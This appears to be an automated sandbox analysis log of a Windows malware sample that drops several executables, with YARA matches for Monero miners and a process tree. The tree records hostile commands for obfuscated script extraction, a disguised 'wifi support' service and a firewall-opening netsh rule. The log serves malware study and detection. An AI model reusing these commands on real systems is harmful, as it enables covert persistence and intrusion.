Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 98D4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: DWVByMCYL8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: XMRIG_Monero_Miner date = 2018-01-04, hash4 = 0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2, hash3 = f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5, hash2 = 08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7, hash1 = 5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0, author = Florian Roth, description = Detects Monero mining software, reference = https://github.com/xmrig/xmrig/releases, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc
Source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MINER_monero_mining_detection date = 2018-04-05, actor_group = Unknown, actor_type = Cybercrime, author = Christiaan Beek \| McAfee ATR Team, description = Monero mining software, malware_family = Ransom:W32/MoneroMiner, rule_version = v1, malware_type = miner
Source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: XMRIG_Monero_Miner date = 2018-01-04, hash4 = 0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2, hash3 = f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5, hash2 = 08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7, hash1 = 5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0, author = Florian Roth, description = Detects Monero mining software, reference = https://github.com/xmrig/xmrig/releases, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc
Source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MINER_monero_mining_detection date = 2018-04-05, actor_group = Unknown, actor_type = Cybercrime, author = Christiaan Beek \| McAfee ATR Team, description = Monero mining software, malware_family = Ransom:W32/MoneroMiner, rule_version = v1, malware_type = miner

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B1F9B GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,

14_2_011B1F9B

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\zofcwexy\

Source: C:\Users\user\AppData\Local\Temp\6965.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: String function: 00466830 appears 182 times
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: String function: 0044E199 appears 80 times
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: String function: 0043F5D8 appears 213 times
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: String function: 0043F9E0 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: String function: 004125F4 appears 206 times

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_02CB0110
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_00401866 Sleep,NtTerminateProcess,	1_2_00401866
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_0040187F Sleep,NtTerminateProcess,	1_2_0040187F
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_004018E7 NtTerminateProcess,	1_2_004018E7
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_00401889 Sleep,NtTerminateProcess,	1_2_00401889
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_00401893 Sleep,NtTerminateProcess,	1_2_00401893
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_00401FA4 NtQuerySystemInformation,	1_2_00401FA4
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_1_00401FA4 NtQuerySystemInformation,	1_1_00401FA4
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_00401866 Sleep,NtTerminateProcess,	11_2_00401866
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_0040187F Sleep,NtTerminateProcess,	11_2_0040187F
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_004018E7 NtTerminateProcess,	11_2_004018E7
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_00401889 Sleep,NtTerminateProcess,	11_2_00401889
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_00401893 Sleep,NtTerminateProcess,	11_2_00401893
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_00401FA4 NtQuerySystemInformation,	11_2_00401FA4
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_04760110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	12_2_04760110

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

24_2_00408E26

Source: 75AA.exe.5.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 55AD.exe.5.dr	Static PE information: Section: ZLIB complexity 0.99853515625
Source: 98D4.exe.5.dr	Static PE information: Section: ZLIB complexity 0.998834599448

Source: DWVByMCYL8.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\geedrvu

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.mine.winEXE@83/28@344/35

Source: C:\Users\user\AppData\Local\Temp\6965.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B5933 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

14_2_011B5933

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

24_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\6965.exe

24_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B4FA0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

14_2_011B4FA0

Source: DWVByMCYL8.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DWVByMCYL8.exe 'C:\Users\user\Desktop\DWVByMCYL8.exe'
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Process created: C:\Users\user\Desktop\DWVByMCYL8.exe 'C:\Users\user\Desktop\DWVByMCYL8.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\geedrvu C:\Users\user\AppData\Roaming\geedrvu
Source: C:\Users\user\AppData\Roaming\geedrvu	Process created: C:\Users\user\AppData\Roaming\geedrvu C:\Users\user\AppData\Roaming\geedrvu
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C612.exe C:\Users\user\AppData\Local\Temp\C612.exe
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Process created: C:\Users\user\AppData\Local\Temp\C612.exe C:\Users\user\AppData\Local\Temp\C612.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D322.exe C:\Users\user\AppData\Local\Temp\D322.exe
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Process created: C:\Windows\SysWOW64\dllhost.exe dllhost.exe
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c cmd < Gia.mp3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\55AD.exe C:\Users\user\AppData\Local\Temp\55AD.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com Versato.exe.com g
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6965.exe C:\Users\user\AppData\Local\Temp\6965.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com g
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Windows\system32\advpack.dll,DelNodeRunDLL32 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\'
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\75AA.exe C:\Users\user\AppData\Local\Temp\75AA.exe
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\zofcwexy\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\829C.exe C:\Users\user\AppData\Local\Temp\829C.exe
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5692 -ip 5692
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support'
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' description zofcwexy 'wifi internet conection'
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' start zofcwexy
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul
Source: unknown	Process created: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d'C:\Users\user\AppData\Local\Temp\6965.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\98D4.exe C:\Users\user\AppData\Local\Temp\98D4.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5692 -s 752
Source: C:\Users\user\AppData\Local\Temp\98D4.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C082.exe C:\Users\user\AppData\Local\Temp\C082.exe
Source: C:\Users\user\AppData\Local\Temp\C082.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Process created: C:\Users\user\Desktop\DWVByMCYL8.exe 'C:\Users\user\Desktop\DWVByMCYL8.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C612.exe C:\Users\user\AppData\Local\Temp\C612.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D322.exe C:\Users\user\AppData\Local\Temp\D322.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\55AD.exe C:\Users\user\AppData\Local\Temp\55AD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6965.exe C:\Users\user\AppData\Local\Temp\6965.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Windows\system32\advpack.dll,DelNodeRunDLL32 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\75AA.exe C:\Users\user\AppData\Local\Temp\75AA.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\829C.exe C:\Users\user\AppData\Local\Temp\829C.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Process created: C:\Users\user\AppData\Roaming\geedrvu C:\Users\user\AppData\Roaming\geedrvu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Process created: C:\Users\user\AppData\Local\Temp\C612.exe C:\Users\user\AppData\Local\Temp\C612.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Process created: C:\Windows\SysWOW64\dllhost.exe dllhost.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c cmd < Gia.mp3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com Versato.exe.com g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost	Jump to behavior
